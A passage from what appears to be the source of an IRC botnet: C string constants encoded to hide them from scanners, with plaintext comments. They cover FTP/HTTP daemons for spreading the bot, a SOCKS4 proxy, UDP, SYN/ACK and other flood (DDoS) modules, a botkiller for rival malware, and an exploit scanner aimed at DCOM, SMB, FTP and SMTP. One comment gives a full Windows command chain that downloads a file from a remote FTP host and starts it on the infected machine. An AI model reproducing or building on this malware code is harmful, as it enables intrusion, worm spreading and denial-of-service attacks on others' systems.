		"\xFB\xFB\xF9\xE9\x9A\xAC\xBB\xBF\xE4\x9C\xE9\x8F\x9D\x99\xE9\x9A\xAC\xBB\xBF\xAC\xBB\xE9"
		"\xBF\xFF\xE7\xF8\xE9\xAF\xA6\xBB\xE9\x9E\xA0\xA7\x9A\xA6\xAA\xA2\xE9\xBB\xAC\xA8\xAD\xB0"
		"\xE7\xE7\xE7\xEC\xBA";
const char *string_daemonftpuser = //USER
		"\x9C\x9A\x8C\x9B";
const char *string_daemonftp331 = //331%s
		"\xFA\xFA\xF8\xEC\xBA";
const char *string_daemonftppass = //PASS
		"\x99\x88\x9A\x9A";
const char *string_daemonftp230 = //230%s
		"\xFB\xFA\xF9\xEC\xBA";
const char *string_daemonftpport = //PORT
		"\x99\x86\x9B\x9D";
const char *string_daemonftpportinfo = //%i,%i,%i,%i,%i,%i
		"\xEC\xA0\xE5\xEC\xA0\xE5\xEC\xA0\xE5\xEC\xA0\xE5\xEC\xA0\xE5\xEC\xA0";
const char *string_daemonftp200 = //200%s
		"\xFB\xF9\xF9\xEC\xBA";
const char *string_daemonftpretr = //RETR
		"\x9B\x8C\x9D\x9B";
const char *string_daemonftp150 = //150%s
		"\xF8\xFC\xF9\xEC\xBA";
const char *string_daemonftp226 = //226%s
		"\xFB\xFB\xFF\xEC\xBA";
const char *string_daemonftp425 = //425%s
		"\xFD\xFB\xFC\xEC\xBA";
const char *string_daemonftp221 = //221 Goodbye!%s
		"\xFB\xFB\xF8\xE9\x8E\xA6\xA6\xAD\xAB\xB0\xAC\xE8\xEC\xBA";
const char *string_daemonftptransferstarted = //%s%s%s%s file transfer started %sto:%s %s:%i (%s%s%s).
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAF\xA0\xA5\xAC\xE9\xBD\xBB\xA8\xA7\xBA\xAF\xAC\xBB"
		"\xE9\xBA\xBD\xA8\xBB\xBD\xAC\xAD\xE9\xEC\xBA\xBD\xA6\xF3\xEC\xBA\xE9\xEC\xBA\xF3\xEC\xA0"
		"\xE9\xE1\xEC\xBA\xEC\xBA\xEC\xBA\xE0\xE7";
const char *string_daemonftptransferfinished = //%s%s%s%s file transfer finished %sto:%s %s:%i (%s%s%s).
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAF\xA0\xA5\xAC\xE9\xBD\xBB\xA8\xA7\xBA\xAF\xAC\xBB"
		"\xE9\xAF\xA0\xA7\xA0\xBA\xA1\xAC\xAD\xE9\xEC\xBA\xBD\xA6\xF3\xEC\xBA\xE9\xEC\xBA\xF3\xEC"
		"\xA0\xE9\xE1\xEC\xBA\xEC\xBA\xEC\xBA\xE0\xE7";
const char *string_daemonftptransferfailed = //%s%s%s%s file transfer failed to: %sto:%s %s:%i (%s%s%s).
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAF\xA0\xA5\xAC\xE9\xBD\xBB\xA8\xA7\xBA\xAF\xAC\xBB"
		"\xE9\xAF\xA8\xA0\xA5\xAC\xAD\xE9\xBD\xA6\xF3\xE9\xEC\xBA\xBD\xA6\xF3\xEC\xBA\xE9\xEC\xBA"
		"\xF3\xEC\xA0\xE9\xE1\xEC\xBA\xEC\xBA\xEC\xBA\xE0\xE7";
#endif
#ifndef NO_DAEMONHTTP
const char *string_daemonhttprequest = //GET /%s
		"\x8E\x8C\x9D\xE9\xE6\xEC\xBA";
const char *string_daemonhttpheader = //HTTP/1.1 200 OK%sServer: Apache/1.3.33 (Unix)%sAccept-Ranges: bytes%sContent-Length: %d%sContent-Type: text/plain%s%s
		"\x81\x9D\x9D\x99\xE6\xF8\xE7\xF8\xE9\xFB\xF9\xF9\xE9\x86\x82\xEC\xBA\x9A\xAC\xBB\xBF\xAC"
		"\xBB\xF3\xE9\x88\xB9\xA8\xAA\xA1\xAC\xE6\xF8\xE7\xFA\xE7\xFA\xFA\xE9\xE1\x9C\xA7\xA0\xB1"
		"\xE0\xEC\xBA\x88\xAA\xAA\xAC\xB9\xBD\xE4\x9B\xA8\xA7\xAE\xAC\xBA\xF3\xE9\xAB\xB0\xBD\xAC"
		"\xBA\xEC\xBA\x8A\xA6\xA7\xBD\xAC\xA7\xBD\xE4\x85\xAC\xA7\xAE\xBD\xA1\xF3\xE9\xEC\xAD\xEC"
		"\xBA\x8A\xA6\xA7\xBD\xAC\xA7\xBD\xE4\x9D\xB0\xB9\xAC\xF3\xE9\xBD\xAC\xB1\xBD\xE6\xB9\xA5"
		"\xA8\xA0\xA7\xEC\xBA\xEC\xBA";
const char *string_daemonhttptransferstarted = //%s%s%s%s GET /%s%s%s started %sto:%s %s (%s%s%s).
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\x8E\x8C\x9D\xE9\xE6\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBA"
		"\xBD\xA8\xBB\xBD\xAC\xAD\xE9\xEC\xBA\xBD\xA6\xF3\xEC\xBA\xE9\xEC\xBA\xE9\xE1\xEC\xBA\xEC"
		"\xBA\xEC\xBA\xE0\xE7";
const char *string_daemonhttptransferfinished = //%s%s%s%s GET /%s%s%s finished %sto:%s %s (%s%s%s).
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\x8E\x8C\x9D\xE9\xE6\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAF"
		"\xA0\xA7\xA0\xBA\xA1\xAC\xAD\xE9\xEC\xBA\xBD\xA6\xF3\xEC\xBA\xE9\xEC\xBA\xE9\xE1\xEC\xBA"
		"\xEC\xBA\xEC\xBA\xE0\xE7";
const char *string_daemonhttptransferfailed = //%s%s%s%s GET /%s%s%s failed %sto:%s %s (%s%s%s).
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\x8E\x8C\x9D\xE9\xE6\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAF"
		"\xA8\xA0\xA5\xAC\xAD\xE9\xEC\xBA\xBD\xA6\xF3\xEC\xBA\xE9\xEC\xBA\xE9\xE1\xEC\xBA\xEC\xBA"
		"\xEC\xBA\xE0\xE7";
#endif
#ifndef NO_DAEMONIDENT
const char *string_daemonidentmsg = //%d, %d : USERID : UNIX :  %d%s 
		"\xEC\xAD\xE5\xE9\xEC\xAD\xE9\xF3\xE9\x9C\x9A\x8C\x9B\x80\x8D\xE9\xF3\xE9\x9C\x87\x80\x91"
		"\xE9\xF3\xE9\xE9\xEC\xAD\xEC\xBA";
#endif
#ifndef NO_DAEMONSOCKS4
const char *string_daemonsocks4alreadyrunning = //%s%s%s%s socks4 daemon already running!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBA\xA6\xAA\xA2\xBA\xFD\xE9\xAD\xA8\xAC\xA4\xA6\xA7"
		"\xE9\xA8\xA5\xBB\xAC\xA8\xAD\xB0\xE9\xBB\xBC\xA7\xA7\xA0\xA7\xAE\xE8";
const char *string_daemonsocks4started = //%s%s%s%s socks4 daemon started on %sip:%s %s, %sport:%s %i.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBA\xA6\xAA\xA2\xBA\xFD\xE9\xAD\xA8\xAC\xA4\xA6\xA7"
		"\xE9\xBA\xBD\xA8\xBB\xBD\xAC\xAD\xE9\xA6\xA7\xE9\xEC\xBA\xA0\xB9\xF3\xEC\xBA\xE9\xEC\xBA"
		"\xE5\xE9\xEC\xBA\xB9\xA6\xBB\xBD\xF3\xEC\xBA\xE9\xEC\xA0\xE7";
const char *string_daemonsocks4stopped = //%s%s%s%s socks4 daemon stopped.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBA\xA6\xAA\xA2\xBA\xFD\xE9\xAD\xA8\xAC\xA4\xA6\xA7"
		"\xE9\xBA\xBD\xA6\xB9\xB9\xAC\xAD\xE7";
const char *string_daemonsocks4notrunning = //%s%s%s%s socks4 daemon not running!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBA\xA6\xAA\xA2\xBA\xFD\xE9\xAD\xA8\xAC\xA4\xA6\xA7"
		"\xE9\xA7\xA6\xBD\xE9\xBB\xBC\xA7\xA7\xA0\xA7\xAE\xE8";
#endif

const char *string_ddosalreadyrunning = //%s%s%s%s flood already running!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAF\xA5\xA6\xA6\xAD\xE9\xA8\xA5\xBB\xAC\xA8\xAD\xB0"
		"\xE9\xBB\xBC\xA7\xA7\xA0\xA7\xAE\xE8";
const char *string_ddosfailed = //%s%s%s%s flood failed!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAF\xA5\xA6\xA6\xAD\xE9\xAF\xA8\xA0\xA5\xAC\xAD\xE8";
#ifndef NO_BANDWITHFLOOD
const char *string_ddosbandwithfloodstarted = //%s%s%s%s bandwith flooding %shost:%s %s, %sdelay:%s %ims, %stimes:%s %i.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAB\xA8\xA7\xAD\xBE\xA0\xBD\xA1\xE9\xAF\xA5\xA6\xA6"
		"\xAD\xA0\xA7\xAE\xE9\xEC\xBA\xA1\xA6\xBA\xBD\xF3\xEC\xBA\xE9\xEC\xBA\xE5\xE9\xEC\xBA\xAD"
		"\xAC\xA5\xA8\xB0\xF3\xEC\xBA\xE9\xEC\xA0\xA4\xBA\xE5\xE9\xEC\xBA\xBD\xA0\xA4\xAC\xBA\xF3"
		"\xEC\xBA\xE9\xEC\xA0\xE7";
const char *string_ddosbandwithfloodfilename = //%i.tmp
		"\xEC\xA0\xE7\xBD\xA4\xB9";
#endif
#ifndef NO_SYNACKFLOOD
const char *string_ddossynackfloodstarted = //%s%s%s%s syn/ack flooding %sip:%s %s, %sport:%s %i, %sdelay:%s %ims, %stime:%s %dmin.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBA\xB0\xA7\xE6\xA8\xAA\xA2\xE9\xAF\xA5\xA6\xA6\xAD"
		"\xA0\xA7\xAE\xE9\xEC\xBA\xA0\xB9\xF3\xEC\xBA\xE9\xEC\xBA\xE5\xE9\xEC\xBA\xB9\xA6\xBB\xBD"
		"\xF3\xEC\xBA\xE9\xEC\xA0\xE5\xE9\xEC\xBA\xAD\xAC\xA5\xA8\xB0\xF3\xEC\xBA\xE9\xEC\xA0\xA4"
		"\xBA\xE5\xE9\xEC\xBA\xBD\xA0\xA4\xAC\xF3\xEC\xBA\xE9\xEC\xAD\xA4\xA0\xA7\xE7";
#endif
#ifndef NO_TROLLFLOOD
const char *string_ddostrollfloodstarted = //%s%s%s%s troll flooding %sip:%s %s, %sport:%s %i, %ssockets:%s %i, %sdelay:%s %ims, %stime:%s %dmin.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBD\xBB\xA6\xA5\xA5\xE9\xAF\xA5\xA6\xA6\xAD\xA0\xA7"
		"\xAE\xE9\xEC\xBA\xA0\xB9\xF3\xEC\xBA\xE9\xEC\xBA\xE5\xE9\xEC\xBA\xB9\xA6\xBB\xBD\xF3\xEC"
		"\xBA\xE9\xEC\xA0\xE5\xE9\xEC\xBA\xBA\xA6\xAA\xA2\xAC\xBD\xBA\xF3\xEC\xBA\xE9\xEC\xA0\xE5"
		"\xE9\xEC\xBA\xAD\xAC\xA5\xA8\xB0\xF3\xEC\xBA\xE9\xEC\xA0\xA4\xBA\xE5\xE9\xEC\xBA\xBD\xA0"
		"\xA4\xAC\xF3\xEC\xBA\xE9\xEC\xAD\xA4\xA0\xA7\xE7";
#endif
#ifndef NO_UDPFLOOD
const char *string_ddosudpfloodstarted = //%s%s%s%s udp flooding %sip:%s %s, %sport:%s %i, %sdelay:%s %ims, %stime:%s %dmin.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBC\xAD\xB9\xE9\xAF\xA5\xA6\xA6\xAD\xA0\xA7\xAE\xE9"
		"\xEC\xBA\xA0\xB9\xF3\xEC\xBA\xE9\xEC\xBA\xE5\xE9\xEC\xBA\xB9\xA6\xBB\xBD\xF3\xEC\xBA\xE9"
		"\xEC\xA0\xE5\xE9\xEC\xBA\xAD\xAC\xA5\xA8\xB0\xF3\xEC\xBA\xE9\xEC\xA0\xA4\xBA\xE5\xE9\xEC"
		"\xBA\xBD\xA0\xA4\xAC\xF3\xEC\xBA\xE9\xEC\xAD\xA4\xA0\xA7\xE7";
#endif
const char *string_ddosfinishedflooding = //%s%s%s%s finished flooding %starget:%s %s, %safter%s: %dmin/times.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAF\xA0\xA7\xA0\xBA\xA1\xAC\xAD\xE9\xAF\xA5\xA6\xA6"
		"\xAD\xA0\xA7\xAE\xE9\xEC\xBA\xBD\xA8\xBB\xAE\xAC\xBD\xF3\xEC\xBA\xE9\xEC\xBA\xE5\xE9\xEC"
		"\xBA\xA8\xAF\xBD\xAC\xBB\xEC\xBA\xF3\xE9\xEC\xAD\xA4\xA0\xA7\xE6\xBD\xA0\xA4\xAC\xBA\xE7";
const char *string_ddosstopped = //%s%s%s%s flood stopped.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAF\xA5\xA6\xA6\xAD\xE9\xBA\xBD\xA6\xB9\xB9\xAC\xAD"
		"\xE7";
const char *string_ddosnotrunning = //%s%s%s%s flood not running!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAF\xA5\xA6\xA6\xAD\xE9\xA7\xA6\xBD\xE9\xBB\xBC\xA7"
		"\xA7\xA0\xA7\xAE\xE8";

#ifndef NO_BOTKILLER
const char *string_botkilleralreadyrunning = //%s%s%s%s botkiller already running!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAB\xA6\xBD\xA2\xA0\xA5\xA5\xAC\xBB\xE9\xA8\xA5\xBB"
		"\xAC\xA8\xAD\xB0\xE9\xBB\xBC\xA7\xA7\xA0\xA7\xAE\xE8";
const char *string_botkillerfailed = //%s%s%s%s botkiller failed!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAB\xA6\xBD\xA2\xA0\xA5\xA5\xAC\xBB\xE9\xAF\xA8\xA0"
		"\xA5\xAC\xAD\xE8";
const char *string_botkillerstarted = //%s%s%s%s botkiller started.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAB\xA6\xBD\xA2\xA0\xA5\xA5\xAC\xBB\xE9\xBA\xBD\xA8"
		"\xBB\xBD\xAC\xAD\xE7";
const char *string_botkillerkilledprocess = //%s%s%s%s killed %sprocess:%s %s, %ssignature:%s %s.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xA2\xA0\xA5\xA5\xAC\xAD\xE9\xEC\xBA\xB9\xBB\xA6\xAA"
		"\xAC\xBA\xBA\xF3\xEC\xBA\xE9\xEC\xBA\xE5\xE9\xEC\xBA\xBA\xA0\xAE\xA7\xA8\xBD\xBC\xBB\xAC"
		"\xF3\xEC\xBA\xE9\xEC\xBA\xE7";
const char *string_botkillerdeletedfile = //%s%s%s%s deleted %sfile:%s %s.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAD\xAC\xA5\xAC\xBD\xAC\xAD\xE9\xEC\xBA\xAF\xA0\xA5"
		"\xAC\xF3\xEC\xBA\xE9\xEC\xBA\xE7";
const char *string_botkillerdeletedregistryentry = //%s%s%s%s deleted %sregistry entry:%s %s.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAD\xAC\xA5\xAC\xBD\xAC\xAD\xE9\xEC\xBA\xBB\xAC\xAE"
		"\xA0\xBA\xBD\xBB\xB0\xE9\xAC\xA7\xBD\xBB\xB0\xF3\xEC\xBA\xE9\xEC\xBA\xE7";
const char *string_botkillerfinished = //%s%s%s%s finished %safter:%s %dmin, %sbot processes killed:%s %i, %sbot entriess removed:%s %i, %slast process scanned:%s %s.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAF\xA0\xA7\xA0\xBA\xA1\xAC\xAD\xE9\xEC\xBA\xA8\xAF"
		"\xBD\xAC\xBB\xF3\xEC\xBA\xE9\xEC\xAD\xA4\xA0\xA7\xE5\xE9\xEC\xBA\xAB\xA6\xBD\xE9\xB9\xBB"
		"\xA6\xAA\xAC\xBA\xBA\xAC\xBA\xE9\xA2\xA0\xA5\xA5\xAC\xAD\xF3\xEC\xBA\xE9\xEC\xA0\xE5\xE9"
		"\xEC\xBA\xAB\xA6\xBD\xE9\xAC\xA7\xBD\xBB\xA0\xAC\xBA\xBA\xE9\xBB\xAC\xA4\xA6\xBF\xAC\xAD"
		"\xF3\xEC\xBA\xE9\xEC\xA0\xE5\xE9\xEC\xBA\xA5\xA8\xBA\xBD\xE9\xB9\xBB\xA6\xAA\xAC\xBA\xBA"
		"\xE9\xBA\xAA\xA8\xA7\xA7\xAC\xAD\xF3\xEC\xBA\xE9\xEC\xBA\xE7";
const char *string_botkillerstopped = //%s%s%s%s botkiller stopped.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAB\xA6\xBD\xA2\xA0\xA5\xA5\xAC\xBB\xE9\xBA\xBD\xA6"
		"\xB9\xB9\xAC\xAD\xE7";
const char *string_botkillernotrunning = //%s%s%s%s botkiller not running!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAB\xA6\xBD\xA2\xA0\xA5\xA5\xAC\xBB\xE9\xA7\xA6\xBD"
		"\xE9\xBB\xBC\xA7\xA7\xA0\xA7\xAE\xE8";
#endif

#ifndef NO_EXPSCAN
const char *string_expscanparametera = //-a
		"\xE4\xA8";
const char *string_expscanparameterb = //-b
		"\xE4\xAB";
const char *string_expscanparameterc = //-c
		"\xE4\xAA";
const char *string_expscanparameterr = //-r
		"\xE4\xBB";
const char *string_expscannullip = //0.0.0.0
		"\xF9\xE7\xF9\xE7\xF9\xE7\xF9";
const char *string_expscancurrentlyscanning = //%s%s%s%s currently %sscanning:%s %s -> %s [%s%s%s].
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAA\xBC\xBB\xBB\xAC\xA7\xBD\xA5\xB0\xE9\xEC\xBA\xBA"
		"\xAA\xA8\xA7\xA7\xA0\xA7\xAE\xF3\xEC\xBA\xE9\xEC\xBA\xE9\xE4\xF7\xE9\xEC\xBA\xE9\x92\xEC"
		"\xBA\xEC\xBA\xEC\xBA\x94\xE7";
const char *string_expscanalreadyrunning = //%s%s%s%s expscan already running!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAC\xB1\xB9\xBA\xAA\xA8\xA7\xE9\xA8\xA5\xBB\xAC\xA8"
		"\xAD\xB0\xE9\xBB\xBC\xA7\xA7\xA0\xA7\xAE\xE8";
const char *string_expscaninvalidipport = //%s%s%s%s invalid ip or exploit/port!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xA0\xA7\xBF\xA8\xA5\xA0\xAD\xE9\xA0\xB9\xE9\xA6\xBB"
		"\xE9\xAC\xB1\xB9\xA5\xA6\xA0\xBD\xE6\xB9\xA6\xBB\xBD\xE8";
const char *string_expscansequentialscanstarted = //%s%s%s%s sequential expscan started %son:%s %s, %sexploit/port:%s %s, %ssockets:%s %i, %sdelay:%s %isec, %stime:%s %dmin.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBA\xAC\xB8\xBC\xAC\xA7\xBD\xA0\xA8\xA5\xE9\xAC\xB1"
		"\xB9\xBA\xAA\xA8\xA7\xE9\xBA\xBD\xA8\xBB\xBD\xAC\xAD\xE9\xEC\xBA\xA6\xA7\xF3\xEC\xBA\xE9"
		"\xEC\xBA\xE5\xE9\xEC\xBA\xAC\xB1\xB9\xA5\xA6\xA0\xBD\xE6\xB9\xA6\xBB\xBD\xF3\xEC\xBA\xE9"
		"\xEC\xBA\xE5\xE9\xEC\xBA\xBA\xA6\xAA\xA2\xAC\xBD\xBA\xF3\xEC\xBA\xE9\xEC\xA0\xE5\xE9\xEC"
		"\xBA\xAD\xAC\xA5\xA8\xB0\xF3\xEC\xBA\xE9\xEC\xA0\xBA\xAC\xAA\xE5\xE9\xEC\xBA\xBD\xA0\xA4"
		"\xAC\xF3\xEC\xBA\xE9\xEC\xAD\xA4\xA0\xA7\xE7";
const char *string_expscanrandomscanstarted = //%s%s%s%s random expscan started %son:%s %s, %sexploit/port:%s %s, %ssockets:%s %i, %sdelay:%s %isec, %stime:%s %dmin.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBB\xA8\xA7\xAD\xA6\xA4\xE9\xAC\xB1\xB9\xBA\xAA\xA8"
		"\xA7\xE9\xBA\xBD\xA8\xBB\xBD\xAC\xAD\xE9\xEC\xBA\xA6\xA7\xF3\xEC\xBA\xE9\xEC\xBA\xE5\xE9"
		"\xEC\xBA\xAC\xB1\xB9\xA5\xA6\xA0\xBD\xE6\xB9\xA6\xBB\xBD\xF3\xEC\xBA\xE9\xEC\xBA\xE5\xE9"
		"\xEC\xBA\xBA\xA6\xAA\xA2\xAC\xBD\xBA\xF3\xEC\xBA\xE9\xEC\xA0\xE5\xE9\xEC\xBA\xAD\xAC\xA5"
		"\xA8\xB0\xF3\xEC\xBA\xE9\xEC\xA0\xBA\xAC\xAA\xE5\xE9\xEC\xBA\xBD\xA0\xA4\xAC\xF3\xEC\xBA"
		"\xE9\xEC\xAD\xA4\xA0\xA7\xE7";
const char *string_expscanopenport = //%s%s%s%s %sip:%s %s has %sport:%s %i open.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xEC\xBA\xA0\xB9\xF3\xEC\xBA\xE9\xEC\xBA\xE9\xA1\xA8"
		"\xBA\xE9\xEC\xBA\xB9\xA6\xBB\xBD\xF3\xEC\xBA\xE9\xEC\xA0\xE9\xA6\xB9\xAC\xA7\xE7";
const char *string_expscanfinished = //%s%s%s%s finished expscan %safter:%s %dmin, %sexploit/port:%s %s, %slast ip scanned:%s %s, %sexploited:%s %i.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAF\xA0\xA7\xA0\xBA\xA1\xAC\xAD\xE9\xAC\xB1\xB9\xBA"
		"\xAA\xA8\xA7\xE9\xEC\xBA\xA8\xAF\xBD\xAC\xBB\xF3\xEC\xBA\xE9\xEC\xAD\xA4\xA0\xA7\xE5\xE9"
		"\xEC\xBA\xAC\xB1\xB9\xA5\xA6\xA0\xBD\xE6\xB9\xA6\xBB\xBD\xF3\xEC\xBA\xE9\xEC\xBA\xE5\xE9"
		"\xEC\xBA\xA5\xA8\xBA\xBD\xE9\xA0\xB9\xE9\xBA\xAA\xA8\xA7\xA7\xAC\xAD\xF3\xEC\xBA\xE9\xEC"
		"\xBA\xE5\xE9\xEC\xBA\xAC\xB1\xB9\xA5\xA6\xA0\xBD\xAC\xAD\xF3\xEC\xBA\xE9\xEC\xA0\xE7";
const char *string_expscanstopped = //%s%s%s%s expscan stopped.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAC\xB1\xB9\xBA\xAA\xA8\xA7\xE9\xBA\xBD\xA6\xB9\xB9"
		"\xAC\xAD\xE7";
const char *string_expscannotrunning = //%s%s%s%s expscan not running!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAC\xB1\xB9\xBA\xAA\xA8\xA7\xE9\xA7\xA6\xBD\xE9\xBB"
		"\xBC\xA7\xA7\xA0\xA7\xAE\xE8";
const char *string_transferfailedtoconnect = //%s%s%s%s failed to connect to shellcode %sat:%s %s:%i (%s%s%s) [%s%s%s].
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAF\xA8\xA0\xA5\xAC\xAD\xE9\xBD\xA6\xE9\xAA\xA6\xA7"
		"\xA7\xAC\xAA\xBD\xE9\xBD\xA6\xE9\xBA\xA1\xAC\xA5\xA5\xAA\xA6\xAD\xAC\xE9\xEC\xBA\xA8\xBD"
		"\xF3\xEC\xBA\xE9\xEC\xBA\xF3\xEC\xA0\xE9\xE1\xEC\xBA\xEC\xBA\xEC\xBA\xE0\xE9\x92\xEC\xBA"
		"\xEC\xBA\xEC\xBA\x94\xE7";
const char *string_transferstarted = //%s%s%s%s file transfer started %sto:%s %s:%i (%s%s%s) [%s%s%s].
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAF\xA0\xA5\xAC\xE9\xBD\xBB\xA8\xA7\xBA\xAF\xAC\xBB"
		"\xE9\xBA\xBD\xA8\xBB\xBD\xAC\xAD\xE9\xEC\xBA\xBD\xA6\xF3\xEC\xBA\xE9\xEC\xBA\xF3\xEC\xA0"
		"\xE9\xE1\xEC\xBA\xEC\xBA\xEC\xBA\xE0\xE9\x92\xEC\xBA\xEC\xBA\xEC\xBA\x94\xE7";
const char *string_transferfailed = //%s%s%s%s file transfer failed %sto:%s %s:%i (%s%s%s) [%s%s%s]!
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAF\xA0\xA5\xAC\xE9\xBD\xBB\xA8\xA7\xBA\xAF\xAC\xBB"
		"\xE9\xAF\xA8\xA0\xA5\xAC\xAD\xE9\xEC\xBA\xBD\xA6\xF3\xEC\xBA\xE9\xEC\xBA\xF3\xEC\xA0\xE9"
		"\xE1\xEC\xBA\xEC\xBA\xEC\xBA\xE0\xE9\x92\xEC\xBA\xEC\xBA\xEC\xBA\x94\xE8";
const char *string_transferfinished = //%s%s%s%s file transfer finished %sto:%s %s:%i (%s%s%s) [%s%s%s].
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAF\xA0\xA5\xAC\xE9\xBD\xBB\xA8\xA7\xBA\xAF\xAC\xBB"
		"\xE9\xAF\xA0\xA7\xA0\xBA\xA1\xAC\xAD\xE9\xEC\xBA\xBD\xA6\xF3\xEC\xBA\xE9\xEC\xBA\xF3\xEC"
		"\xA0\xE9\xE1\xEC\xBA\xEC\xBA\xEC\xBA\xE0\xE9\x92\xEC\xBA\xEC\xBA\xEC\xBA\x94\xE7";
const char *string_bindshellcmd = //echo open %s %i >> temp~789.dat&echo user %s %s >> temp~789.dat&echo get %s C:\\%s >> temp~789.dat&echo quit >> temp~789.dat&ftp -n -s:temp~789.dat&del /Q temp~789.dat%s
		"\xAC\xAA\xA1\xA6\xE9\xA6\xB9\xAC\xA7\xE9\xEC\xBA\xE9\xEC\xA0\xE9\xF7\xF7\xE9\xBD\xAC\xA4"
		"\xB9\xB7\xFE\xF1\xF0\xE7\xAD\xA8\xBD\xEF\xAC\xAA\xA1\xA6\xE9\xBC\xBA\xAC\xBB\xE9\xEC\xBA"
		"\xE9\xEC\xBA\xE9\xF7\xF7\xE9\xBD\xAC\xA4\xB9\xB7\xFE\xF1\xF0\xE7\xAD\xA8\xBD\xEF\xAC\xAA"
		"\xA1\xA6\xE9\xAE\xAC\xBD\xE9\xEC\xBA\xE9\x8A\xF3\x95\x95\xEC\xBA\xE9\xF7\xF7\xE9\xBD\xAC"
		"\xA4\xB9\xB7\xFE\xF1\xF0\xE7\xAD\xA8\xBD\xEF\xAC\xAA\xA1\xA6\xE9\xB8\xBC\xA0\xBD\xE9\xF7"
		"\xF7\xE9\xBD\xAC\xA4\xB9\xB7\xFE\xF1\xF0\xE7\xAD\xA8\xBD\xEF\xAF\xBD\xB9\xE9\xE4\xA7\xE9"
		"\xE4\xBA\xF3\xBD\xAC\xA4\xB9\xB7\xFE\xF1\xF0\xE7\xAD\xA8\xBD\xEF\xAD\xAC\xA5\xE9\xE6\x98"
		"\xE9\xBD\xAC\xA4\xB9\xB7\xFE\xF1\xF0\xE7\xAD\xA8\xBD\xEC\xBA";
const char *string_bindshellstart1 = //start C:\%s%s
		"\xBA\xBD\xA8\xBB\xBD\xE9\x8A\xF3\x95\xEC\xBA\xEC\xBA";
const char *string_bindshellstart2 = //C:\%s%s
		"\x8A\xF3\x95\xEC\xBA\xEC\xBA";
#ifndef NO_EXPSCANDCOM
const char *string_expscandcomepmapper = //\\%s\pipe\epmapper
		"\x95\x95\xEC\xBA\x95\xB9\xA0\xB9\xAC\x95\xAC\xB9\xA4\xA8\xB9\xB9\xAC\xBB";
#endif
#ifndef NO_EXPSCANFTP
const char *string_expscanftpdaemonfound = //%s%s%s%s ftp daemon found %sat:%s %s:%i - %s.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xAF\xBD\xB9\xE9\xAD\xA8\xAC\xA4\xA6\xA7\xE9\xAF\xA6"
		"\xBC\xA7\xAD\xE9\xEC\xBA\xA8\xBD\xF3\xEC\xBA\xE9\xEC\xBA\xF3\xEC\xA0\xE9\xE4\xE9\xEC\xBA"
		"\xE7";
#endif
const char *string_expscansmbmachine = //\\%s
		"\x95\x95\xEC\xBA";
#ifndef NO_EXPSCANSMB
const char *string_expscansmbshare = //%s\%s\%s
		"\xEC\xBA\x95\xEC\xBA\x95\xEC\xBA";
#endif
#ifndef NO_EXPSCANSMTP
const char *string_expscansmtpdaemonfound = //%s%s%s%s smtp daemon found %sat:%s %s:%i - %s.
		"\xEC\xBA\xEC\xBA\xEC\xBA\xEC\xBA\xE9\xBA\xA4\xBD\xB9\xE9\xAD\xA8\xAC\xA4\xA6\xA7\xE9\xAF"
		"\xA6\xBC\xA7\xAD\xE9\xEC\xBA\xA8\xBD\xF3\xEC\xBA\xE9\xEC\xBA\xF3\xEC\xA0\xE9\xE4\xE9\xEC"
